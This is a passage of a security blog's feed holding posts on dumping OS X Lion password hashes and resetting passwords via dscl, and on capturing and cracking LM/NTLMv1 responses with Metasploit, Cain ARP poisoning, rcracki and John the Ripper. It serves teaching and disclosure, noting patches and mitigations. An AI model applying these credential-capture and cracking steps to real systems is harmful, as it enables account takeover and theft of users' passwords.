&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6VcSgtjdGvqdS1Dm8MqFJAyjcxxW-p1ea71jVdLWXAD4CiUmZ5nu83A5OVfzQ7PXNPH2fru4huGlCiOp32OUsV_GHOgdQ09-KXSnwH0N3olMlvPsAReuJgbDVgxCnqK8Xa9XUD6l2A-M/s1600/8-alt.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;275&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6VcSgtjdGvqdS1Dm8MqFJAyjcxxW-p1ea71jVdLWXAD4CiUmZ5nu83A5OVfzQ7PXNPH2fru4huGlCiOp32OUsV_GHOgdQ09-KXSnwH0N3olMlvPsAReuJgbDVgxCnqK8Xa9XUD6l2A-M/s320/8-alt.JPG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
In this post I have demonstrated several examples of how domain membership can be abused to gain privilege on a Windows&#39; domain. Due to the inherent verbose nature of Windows’ domains, attackers have the advantage of gaining valuable information about a target network in a relatively short period of time. That said, however, a&amp;nbsp;skilled attacker always has (and always will) be able to penetrate a network’s defences regardless of having domain membership or not.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://www.defenceindepth.net/feeds/3140124944974335836/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.defenceindepth.net/2012/05/exploiting-windows-domain.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/248147735868857337/posts/default/3140124944974335836'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/248147735868857337/posts/default/3140124944974335836'/><link rel='alternate' type='text/html' href='http://www.defenceindepth.net/2012/05/exploiting-windows-domain.html' title='Exploiting the Windows Domain'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnpIgwuX1eC-MLxKxGTR04qgxL_8_wnVMXFzD05jm2GHRu_F8GSlxyXrs7n9tQm11gXl80Wg3L-qYkv2Kuo4EcEwzk-fGycLBje-aOi1JECYPLgOIk9_q7uwywUQ_ElBuuKysTgXv0tTc/s72-c/1-alt.JPG" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-248147735868857337.post-6832937480836844952</id><published>2011-09-18T06:07:00.000-07:00</published><updated>2020-01-05T06:53:02.382-08:00</updated><title type='text'>Cracking OS X Lion Passwords</title><content type='html'>&lt;b&gt;UPDATE [2011-10-15]:&lt;/b&gt;&lt;br /&gt;
The issues described in this post have now been resolved by Apple. Users running OS X Lion 10.7.2 or security update 2011-006 are no longer affected by the vulnerabilities detailed below (CVE-2011-3435 and CVE-2011-3436). For further details on this security update please see &lt;a href=&quot;http://support.apple.com/kb/HT5002&quot;&gt;Apple&#39;s advisory&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
In 2009 I posted an article on &lt;a href=&quot;http://www.defenceindepth.net/2009/12/cracking-os-x-passwords.html&quot;&gt;Cracking Mac OS X passwords&lt;/a&gt;. Whilst this post has been quite popular, it was written for OS X 10.6 and prior. Since the release of Mac OS X Lion (10.7) in July, I have received numerous requests for an update. Typically, I would have just updated the existing article without the need for a new post. However, during my research I discovered something interesting about OS X Lion that I&#39;d like to share.&lt;br /&gt;
&lt;br /&gt;
In previous versions of OS X (10.6, 10.5, 10.4) the process to extract user password hashes has been the same: obtain the user&#39;s GeneratedUID and then use that ID to extract hashes from a specific user&#39;s shadow file (See my previous post for a more detailed description).&lt;br /&gt;
&lt;br /&gt;
When it comes to Lion, the general premise is the same (albeit a few technical differences). Each user has their own shadow file, with each shadow file stored under a .plist file located in /var/db/dslocal/nodes/Default/users/.&lt;br /&gt;
&lt;br /&gt;
The interesting thing when it comes to Lion&#39;s implementation, however, is privilege. As mentioned above, all OS X versions are using shadow files. For the unfamiliar, a shadow file is that which can only be accessed by users with a high privilege (typically root). So for all modern OS X platforms (Tiger, Leopard, Snow Leopard and Lion) each user has their own shadow file (hash database) whose data is accessible only by the root user… or at least it should be.&lt;br /&gt;
&lt;br /&gt;
It appears in the redesign of OS X Lion&#39;s authentication scheme a critical step has been overlooked. Whilst non-root users are unable to access the shadow files directly, Lion actually provides non-root users the ability to still view password hash data. This is accomplished by extracting the data straight from Directory Services.&lt;br /&gt;
&lt;br /&gt;
If we invoke a a directory services listing on user bob by specifying the /Local/ path we can see bob&#39;s standard profile information:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
$ dscl localhost -read /Local/Default/Users/bob&lt;/blockquote&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
This provides us with nothing too exciting. However, if we invoke the directory services listing using the /Search/ path, we see a different result:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
$ dscl localhost -read /Search/Users/bob&lt;/blockquote&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgM3lmPG20oMo6HaA-qbYoDW-Gwr6d20lnqvXBOlRWuhTjYbEzkinVr8xN_r_fCNAGT3cpJxBqAArtpPE7yxh-3xZnV5LnMu-uufPsbuJSAGaByhb2Up5wqzbn8WHNp9PBfiI0FTlI3hSM/s1600/Screen+Shot+2011-09-18+at+9.33.24+PM.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;209&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgM3lmPG20oMo6HaA-qbYoDW-Gwr6d20lnqvXBOlRWuhTjYbEzkinVr8xN_r_fCNAGT3cpJxBqAArtpPE7yxh-3xZnV5LnMu-uufPsbuJSAGaByhb2Up5wqzbn8WHNp9PBfiI0FTlI3hSM/s320/Screen+Shot+2011-09-18+at+9.33.24+PM.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
From the output, we can see the following data:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;dsAttrTypeNative:ShadowHashData:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;62706c69 73743030 d101025d 53414c54 45442d53 48413531 324f1044 &lt;span style=&quot;color: red;&quot;&gt;74911f72&lt;/span&gt; &lt;span style=&quot;color: #38761d;&quot;&gt;3bd2f66a 3255e0af 4b85c639 776d510b 63f0b939 c432ab6e 082286c4 7586f19b 4e2f3aab 74229ae1 24ccb11e 916a7a1c 9b29c64b d6b0fd6c bd22e7b1 f0ba1673&lt;/span&gt; 080b1900 00000000 00010100 00000000 00000300 00000000 00000000 00000000 000060&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Note: The SHA512 hash is stored from bytes 32-96 (green) and the salt is stored from bytes 28-31(red). For more information on these hashes please see &lt;a href=&quot;http://www.hackmac.org/forum/topic/260-cracking-107-lion-password-hashes/&quot;&gt;this thread&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
This ShadowHashData attribute actually contains the same hash stored in user bob&#39;s shadow .plist file. The interesting thing about this? root privileges are not required. All users on the system, regardless of privilege, have the ability to access the ShadowHashData attribute from any other user&#39;s profile.&lt;br /&gt;
&lt;br /&gt;
Due to Lions relatively short time on the market, I am yet to find any of the major crackers supporting OS X Lion hashes (SHA512 + 4-byte salt). To simplify the cracking of these hashes I have created a simple python script which can be &lt;a href=&quot;http://pastebin.com/RYqxi7Ca&quot;&gt;downloaded here&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Now, if the password is not found by the dictionary file you&#39;re out of luck, right? Well, no! Why crack hashes when you can just change the password directly! It appears Directory Services in Lion no longer requires authentication when requesting a password change for the current user. So, in order to change the password of the currently logged in user, simply use:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
$ dscl localhost -passwd /Search/Users/bob&lt;username&gt;&lt;br /&gt;&lt;/username&gt;&lt;/blockquote&gt;
&lt;br /&gt;
And voilà&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot; , &amp;quot;sans-serif&amp;quot;; font-size: 11pt;&quot;&gt;&lt;/span&gt;! You will be prompted to enter a new password without the need to authenticate.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
There has been some conjecture surrounding the severity of
these attacks. Whilst the ability to change the currently active user’s
password is not a privilege escalation flaw per se, it can under some circumstances
be used for these purposes. Allow me to provide a scenario:&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
A user with administrative rights is browsing the internet
with Safari. The user happens to browse to a website hosting a malicious Java Applet.
Unbeknownst to the user, they allow the innocent looking Java Applet to run.
The Applet will proceed to make a connection back to the attacker, providing
the attacker with full shell access. Whilst the attacker has access to the
system, they are provided only with limited user privileges (they still do
not have root access). This would limit what an attacker could accomplish.
However, with the vulnerabilities described above the attacker now has an
advantage:&amp;nbsp; they can change the password
of the current user. Now remember, the current user is an administrator. So now
all the attacker has to do is &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;sudo –s&lt;/i&gt;
&amp;nbsp;to become root. If lets say the victim did
not have administrative rights, the attacker still has the ability to extract
user hashes from the system and attempt to crack them.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
As a temporary measure to mitigate these attacks (before
Apple release a patch), it is recommended to limit standard access to the dscl
utility. The can be done as follows:&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&amp;nbsp;$ sudo chmod 100
/usr/bin/dscl&lt;/div&gt;
&lt;/blockquote&gt;
</content><link rel='replies' type='application/atom+xml' href='http://www.defenceindepth.net/feeds/6832937480836844952/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.defenceindepth.net/2011/09/cracking-os-x-lion-passwords.html#comment-form' title='114 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/248147735868857337/posts/default/6832937480836844952'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/248147735868857337/posts/default/6832937480836844952'/><link rel='alternate' type='text/html' href='http://www.defenceindepth.net/2011/09/cracking-os-x-lion-passwords.html' title='Cracking OS X Lion Passwords'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgM3lmPG20oMo6HaA-qbYoDW-Gwr6d20lnqvXBOlRWuhTjYbEzkinVr8xN_r_fCNAGT3cpJxBqAArtpPE7yxh-3xZnV5LnMu-uufPsbuJSAGaByhb2Up5wqzbn8WHNp9PBfiI0FTlI3hSM/s72-c/Screen+Shot+2011-09-18+at+9.33.24+PM.png" height="72" width="72"/><thr:total>114</thr:total></entry><entry><id>tag:blogger.com,1999:blog-248147735868857337.post-2398837823271230275</id><published>2011-04-21T06:32:00.001-07:00</published><updated>2020-01-05T06:53:57.394-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="authentication"/><category scheme="http://www.blogger.com/atom/ns#" term="cracking"/><category scheme="http://www.blogger.com/atom/ns#" term="dictionary"/><category scheme="http://www.blogger.com/atom/ns#" term="lm"/><category scheme="http://www.blogger.com/atom/ns#" term="microsoft"/><category scheme="http://www.blogger.com/atom/ns#" term="ntlm"/><category scheme="http://www.blogger.com/atom/ns#" term="wordlist"/><title type='text'>Attacking LM/NTLMv1 Challenge/Response Authentication</title><content type='html'>In &lt;a href=&quot;http://www.defenceindepth.net/2011/04/attacking-lmntlmv1-challengeresponse.html&quot;&gt;Part 1&lt;/a&gt; of the “LM/NTLMv1 Challenge/Response Authentication” series I discussed how both the LANMAN/NTLMv1 protocols operate and the  weaknesses that plague these protocols. In this post I will demonstrate how attackers leverage these weaknesses to exploit the LANMAN/NTLMv1 protocols in order to compromise user credentials.  &lt;br /&gt;
For the remainder of this article I will be focusing on attacking the SMB protocol (Windows file sharing) as this is where LANMAN/NTLMv1 is most commonly used.  &lt;br /&gt;
&lt;h2&gt;
Capturing the Response&lt;/h2&gt;
In order to capture a client’s LANMAN/NTLMv1 response, attackers will often utilise one of two methods:  &lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;Force the client host to connect to them  &lt;/li&gt;
&lt;li&gt;Conduct a man-in-the-middle (MITM) attack and “sniff” the client’s response &lt;/li&gt;
&lt;/ol&gt;
To demonstrate these methods, I will be using the &lt;a href=&quot;http://www.metasploit.com/&quot;&gt;Metasploit Framework&lt;/a&gt; or &lt;a href=&quot;http://www.oxid.it/cain.html&quot;&gt;Cain and Abel&lt;/a&gt; respectively.  &lt;br /&gt;
&lt;em&gt;&lt;strong&gt;&lt;u&gt;Metasploit&lt;/u&gt;&lt;/strong&gt; &lt;/em&gt; &lt;br /&gt;
In order for a client host to connect to us, we first need to create a listening SMB service that will accept incoming connections. Fortunately, the Metasploit Framework has already provided us with a module to do this :)  &lt;br /&gt;
1. Fire up Metasploit  &lt;br /&gt;
2. Load the SMB server module &lt;br /&gt;
&lt;blockquote&gt;
msf &amp;gt; use auxiliary/server/capture/smb&lt;/blockquote&gt;
3. Set the server host address  &lt;br /&gt;
&lt;blockquote&gt;
msf &amp;gt; set srvhost x.x.x.x&lt;/blockquote&gt;
4. Run the module  &lt;br /&gt;
&lt;blockquote&gt;
msf &amp;gt; run&lt;/blockquote&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilt_mZFWaZYAAdUTt5Dt8-e1brM2sXATiaps4qC9H7BxwN0Pa1pp-ap2yqWXlp2q7s7u0IyvUe0AKLlyvlcfIno3ZbYdh4NUONLR0GwPYHnuAHcV_aXcPf_nJLe6TFsrRMhRw1t5cd0jQ/s1600-h/image%5B6%5D.png&quot;&gt;&lt;img alt=&quot;image&quot; border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiU5FROgnBeRdrGe34jRgnsgAXReaOcyfYKofr_11I0HylXcGdU9KAuTW2OLbejW6wEIAsILjkmeKtUiyni3-BNFty41A9eXK5TJdpYM3kmrNGwAgH-Ywbgf9H6awiwInTYDrkvfnZd4qw/?imgmax=800&quot; height=&quot;165&quot; style=&quot;border-width: 0px; display: inline;&quot; title=&quot;image&quot; width=&quot;386&quot; /&gt;&lt;/a&gt;  &lt;br /&gt;
Now that we have a listening SMB service, all that is needed is for a victim to connect to our machine. By calling “info” on the SMB server module, the module’s description explains “The easiest way to force a SMB authentication attempt is by embedding a UNC path (\\SERVER\SHARE) into a web page or email message.”  &lt;br /&gt;
A successful capture will look something like this:  &lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglZdxP_rH7E-Bitt-rYLb_iV1ZCs5gaJn9hsGbtdD8QzsHgrhyphenhyphenu9d6sm569x8q8mtZ6UPJYAz1-yqzmBbswcrH7tfbYwgGMh6X8P_R7EIfwcErMxYOoARlwDayeMbCOviS-bSBQZZYGWk/s1600-h/image%5B16%5D.png&quot;&gt;&lt;img alt=&quot;image&quot; border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg87PfwElZ5y9SkZdEHMRYTOErpKBO5CJO99WoL2VgRfB9mrcGnZ26Tkh-p8YxIhBZbnS3exGZdb0aJE1iGey2ibSGT0o0fHZUWPOMS6JcoW1DJi4JcMtAuluctVUTU3I4Bq4C_fR5U2nk/?imgmax=800&quot; height=&quot;44&quot; style=&quot;border-width: 0px; display: inline;&quot; title=&quot;image&quot; width=&quot;417&quot; /&gt;&lt;/a&gt;  &lt;br /&gt;
&lt;strong&gt;&lt;em&gt;&lt;u&gt;Cain and Abel&lt;/u&gt;&lt;/em&gt;&lt;/strong&gt;  &lt;br /&gt;
The second method we can use to capture a client’s response is by conducting a MITM attack using Cain.  &lt;br /&gt;
1. Start Cain’s sniffer  &lt;br /&gt;
2. In the “Sniffer” tab, select the “Plus” icon and choose the hosts victims to poison.  &lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjo3jtsNhwP4TAS1IdW7_p97cjA4iGNMOkX6Yts6zc-jrQPbCD0LMQcHNrxB15BSvLBYzo9-m4t-b2TooyGVPc77EezpbSRiJTXvz0-09DJCA7yltGmSPpZ5SgXXTM34wIf6IgbvZz1X7M/s1600-h/cain%5B3%5D.jpg&quot;&gt;&lt;img alt=&quot;cain&quot; border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiG36seUFxWV-lF3jZiaJsKKJxwv-pm-qxqkEj0QieFqVVtY-BwR9gBYjJWDySjfNg3igldc4AdmBaNNc49EIi_P6KurNaM_f57A8PL_QpkdZAgc2BWsJaDNvVqX3rakBn7o8-zuAH8e7c/?imgmax=800&quot; height=&quot;296&quot; style=&quot;border-width: 0px; display: inline;&quot; title=&quot;cain&quot; width=&quot;408&quot; /&gt;&lt;/a&gt;  &lt;br /&gt;
3. Activate Cain’s ARP Poison Routing feature  &lt;br /&gt;
4. Select the bottom “Passwords” tab and wait for the client’s response to appear in the left pane under “SMB”.  &lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-SabvHDiEHs_S-HfdH3bxVWh9DsthyphenhyphenkXtrtkHlS3ziOM13p2EAm6jxFDIo6al5wlitx20CtMAXXuTwiNKmOOnqhkwL7k93A8Q6r0ptOgQGGiJ5htj8hSIKM_gYqGq-H9ixNXZmXxUgRw/s1600-h/cain2%5B3%5D.jpg&quot;&gt;&lt;img alt=&quot;cain2&quot; border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJBbTPCn5Dyh7FaV_nuHy-NpsHYrTQQHDOXkCKA5YvHUIFuVS89sJFLmkrkUGD_n-0bpWV-fo_Zxhh-_jImdiAsOPJZ0IJBx-P9KPJz51EBsVWcm0rZzwessswreemha00Tf-RXvEq1Ao/?imgmax=800&quot; height=&quot;303&quot; style=&quot;border-width: 0px; display: inline;&quot; title=&quot;cain2&quot; width=&quot;449&quot; /&gt;&lt;/a&gt;  &lt;br /&gt;
&lt;h2&gt;
 &lt;/h2&gt;
&lt;h2&gt;
Cracking the Response&lt;/h2&gt;
Three approaches are often referenced when cracking a LANMAN/NTLMv1 response:&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;Rainbow Tables  &lt;/li&gt;
&lt;li&gt;Dictionary Attack  &lt;/li&gt;
&lt;li&gt;Brute Force&lt;/li&gt;
&lt;/ol&gt;
All of these methods use what is known as the “known challenge attack” technique. In order to crack the LANMAN/NTLMv1 response we are exploiting the fact that the only randomness (or entropy) that makes the LANMAN/NTLMv1 response unique every time is the challenge sent by the Server. As the attacker is always the Server, we can send the client a static challenge. This effectively defeats any randomness in the protocol. Because we now know what the challenge will be every single time, we can effectively crack the LANMAN/NTLMv1 response as if it were a static response.&lt;br /&gt;
Note: It is common practice to use \x11\x22\x33\x44\x55\x66\x77\x88 as the static challenge.&lt;br /&gt;
Before we look at each of these methods it should be noted that LANMAN responses are only configured on Windows XP and Server 2003 system (by default). Windows 7, Vista and Server 2008 systems are configured to utilise NTLMv2 by default.&lt;br /&gt;
A simple test to check which protocol is currently in use is to see if the LM Hash and NT Hash are different in the capture logs. A difference in these hashes would indicate LANMAN is in in use. If these hashes are the same, LANMAN is disabled and NTMLv1 is in use.&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiji2qMs98sZMGxGGNxQ6MSaa0S3dPS3IDX1BuqknURm950Mgiw9SUj_90HHwZp3YBOnd7qmtReLjJu8KZ2NDruoxoANBM9JqBfiuoFKZlWQcb7fCs8OHrYQ65V2P_K8Prg6zryQSfcUiA/s1600-h/image%5B24%5D.png&quot;&gt;&lt;img alt=&quot;image&quot; border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivEldqWIDqfU1UTi5lywVHoR6pBfBDWj_S8hDjzvPbQWNUGPPEuStaN4tYO8qXSmx0LOicBhYNnCkFVz4Z_c_Hw-WXagIYVv6x4K2tGb92v34Ojd8bu-7qnbthgCl7w-Wsg1FaCHq3jGw/?imgmax=800&quot; height=&quot;74&quot; style=&quot;border-width: 0px; display: inline;&quot; title=&quot;image&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEho8UnD1ffs5gyRq80J2BT3i9stjNdjMcShgLLiw95FYNuujB9_uH6ZwK2nNcZBMR1JZdnjWsaOYo6Wiquzlb1s7346FdCSoPnIb8i7GKjJUkwMxXo53LCuiqXF8rfYi2kD1IWYpH8SBSk/s1600-h/hashes2%5B3%5D.jpg&quot;&gt;&lt;img alt=&quot;hashes2&quot; border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqt39a2ssk7VHnH7SI2uzXJaZv9P_QM8JtJGc0mIOyWTWQUeDkDRrShQDc7GnYvneL1u8tR5h3ts7DrHcq8QSFH3uXHxunH8yUjFLOFRdK19OVvwqy8GkJFC6Vn6J6WRsj1Rq3x1rdSwk/?imgmax=800&quot; height=&quot;60&quot; style=&quot;border-width: 0px; display: inline;&quot; title=&quot;hashes2&quot; width=&quot;494&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;strong&gt;&lt;em&gt;&lt;u&gt;1. Rainbow Tables&lt;/u&gt;&lt;/em&gt;&lt;/strong&gt;&lt;br /&gt;
As you would remember from &lt;a href=&quot;http://www.defenceindepth.net/2011/04/attacking-lmntlmv1-challengeresponse.html&quot;&gt;Part 1&lt;/a&gt; of this series, the difference between LANMAN challenge/response and NTLMv1 is that the former uses the locally stored LM Hash whilst the latter uses the locally stored NT Hash. This fundamental difference makes a substantial difference when it comes to cracking the LANMAN response. Because LANMAN utilises the weaker LM hashing algorithm, an attacker can trivially obtain the plain-text of a LANMAN response within minutes.&lt;br /&gt;
The quickest approach to cracking the LANMAN response is by using rainbow tables. Due to the nature of the LM Hash, rainbow tables are very effective against this hash type. The rainbow tables necessary for this exercise are called “halflmchall” and can be found &lt;a href=&quot;http://www.freerainbowtables.com/en/tables/&quot;&gt;here&lt;/a&gt;. To use these rainbow tables the &lt;a href=&quot;http://www.freerainbowtables.com/en/download/&quot;&gt;rcracki_md&lt;/a&gt; tool will need to be downloaded.&lt;br /&gt;
The following &lt;em&gt;rcracki&lt;/em&gt; command will inflate the rainbow table chains and attempt to find the plaintext password for the LANMAN response:&lt;br /&gt;
&lt;blockquote&gt;
&amp;gt; rcracki_mt.exe –h b4dfbf8fa9eaac3 &quot;C:\rainbowtables\*.rti”&lt;/blockquote&gt;
Note: We are only cracking the first 8 bytes of the captured LANMAN response. Due to the nature of the LM Hash, we are only able to use rainbow tables on the first portion of the LANMAN response. The rest we will have to use brute-force.&lt;br /&gt;
A successful result will look like this:&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJs5v9AO-87ZJwB6ClORhQJ9I7VEy7PEX7ZTYx9ZsZ8SRz0mhpqNeIxVmIdzDkgNN2j2lyo5dBxeODsoHxvt6kEAIcMgf0VuExaLrPUEg4jjr-oZkM9zUr6oPVCuCyuBkaNPb_JTMuegw/s1600-h/image%5B28%5D.png&quot;&gt;&lt;img alt=&quot;image&quot; border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXCLZMA6r2hguO8XmrAH02GhcaRTEK3YIq_xM78NlFUMc50L_sShaMT1PprtygrCoh0TKl5yw_kTabK5Tj0WKJ3g_Fyu4eNY1r2o9VoV2ZaR6Ta34XilOOh5wjzGp2fRJbOBf5MIuLUis/?imgmax=800&quot; height=&quot;160&quot; style=&quot;border-width: 0px; display: inline;&quot; title=&quot;image&quot; width=&quot;420&quot; /&gt;&lt;/a&gt; &lt;br /&gt;
The remaining characters we can brute force using the Metasploit “halflm_second.rb” script. This can be found in the “tools” directory in the root Metasploit directory. The script is run as follows:&lt;br /&gt;
&lt;blockquote&gt;
# ruby halflm_second.rb –n 5b4dfbf8fa9eaac3d939df32af8c61a0c122288e90918896 –p ADMINIS&lt;/blockquote&gt;
Where –n is the LANMAN response and –p is the discovered plaintext.&lt;br /&gt;
Whilst it is possible to crack an NTLMv1 response using rainbow tables, I have yet to come across any that have been pre-computed. Due to the nature of NT Hashes, NTLMv1 rainbow tables would be far more time consuming to generate and require large amounts of disk space. &lt;br /&gt;
&lt;strong&gt;&lt;em&gt;&lt;u&gt;2. Dictionary Attack&lt;/u&gt;&lt;/em&gt;&lt;/strong&gt;&lt;br /&gt;
The second method often used to crack LAMNAM/NTLMv1 responses is a dictionary attack. &lt;br /&gt;
I will demonstrate the dictionary attack using two common tools:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;John the Ripper  &lt;/li&gt;
&lt;li&gt;Cain and Abel&lt;/li&gt;
&lt;/ul&gt;
&lt;strong&gt;John the Ripper&lt;/strong&gt;&lt;br /&gt;
The following syntax is used to mount a dictionary attack against LANMAN responses:&lt;br /&gt;
&lt;blockquote&gt;
# ./john –format:netlm /tmp/capture.txt&lt;/blockquote&gt;
Where capture.txt is the file containing the LANMAN response. The format of capture file must be as follows:&lt;br /&gt;
&lt;blockquote&gt;
test::home:5b4dfbf8fa9eaac3d939df32af8c61a0c122288e90918896:44c1bf5f64fbd2109461da1ca8518e75b67a4116c2351679:1122334455667788&lt;/blockquote&gt;
Where test is the username, home is the workgroup/domain, the first hash is the LM Hash, the second hash is the NT Hash and the final value is the challenge.&lt;br /&gt;
To use &lt;em&gt;john&lt;/em&gt; against NTLMv1 specify &lt;em&gt;netntlm &lt;/em&gt;with the -format flag.&lt;br /&gt;
&lt;strong&gt;Cain and Abel&lt;/strong&gt;&lt;br /&gt;
If Cain was used to sniff the capture, right click on the entry and select “Send to Cracker”.&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinVp1jB22xtxkfw45D-EThfABeOUEHXxHkn8wkLK0yg7jwed8agr1GJeIeSH2UPw7fbOSYY2AblALLSjfgDPG69x8ON1hIH-Cs5IzEUdVThUv4jrbiyG2mW4MZusWywplMTsZGTVwj5uQ/s1600-h/image%5B32%5D.png&quot;&gt;&lt;img alt=&quot;image&quot; border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_dD63EWzQo5V195aO8ZuxhXTmpSZuEkk2imIeVOfluKGlpUN-PuwTklrTZrcje0_r_X5r9nIDS9jQTlyim5NYFBr_nW4Sl2ZXspGaeLgqBc-mHspTzRR3hmF4xJOU_Xz6vT2ZuHAbJ6w/?imgmax=800&quot; height=&quot;191&quot; style=&quot;border-width: 0px; display: inline;&quot; title=&quot;image&quot; width=&quot;502&quot; /&gt;&lt;/a&gt; &lt;br /&gt;
In the “Cracker” tab, right click on the entry and choose your appropriate option from the “Dictionary Attack” menu option.&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2Oxm2eyHxwuXg8sME0Eml_yi52GRNNvV3wfA6-Rpd6vPN3SsFwgswOjBI6brdAspz82aS7PTbxm0gMxXOvQNQqXBFzFK00nqH7WUfcvr67cz5Q4o9Il-daK8cymrTKFjClaUspSObPoQ/s1600-h/image%5B39%5D.png&quot;&gt;&lt;img alt=&quot;image&quot; border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh81Kl0z5TCKWNvJbrruRtN_7TKnBHCCEjS2aViqu8osUHGTfzS21vXGO9G6SfANU7U-2Jthe0wbcjatW7aBwc5QhEhvRjrEcin4u3KlMz13EED9FTBjlQBFla3RfnbDNJpc38PWJD02fw/?imgmax=800&quot; height=&quot;269&quot; style=&quot;border-width: 0px; display: inline;&quot; title=&quot;image&quot; width=&quot;510&quot; /&gt;&lt;/a&gt; &lt;br /&gt;
Note: For a list of dictionary files see my &lt;a href=&quot;http://www.defenceindepth.net/2010/05/password-wordlists-and-dictionaries.html&quot;&gt;post on wordlists&lt;/a&gt;.&lt;br /&gt;
If you did not capture the response using Cain, and are importing a capture file, the file must be in the following format:&lt;br /&gt;
&lt;blockquote&gt;
user:workgroup-or-domain:challenge:LMHash:NTHash&lt;/blockquote&gt;
&lt;strong&gt;&lt;em&gt;3. Brute Force&lt;/em&gt;&lt;/strong&gt;&lt;br /&gt;
Whilst crude, brute-forcing can be effective against weaker passwords.&lt;br /&gt;
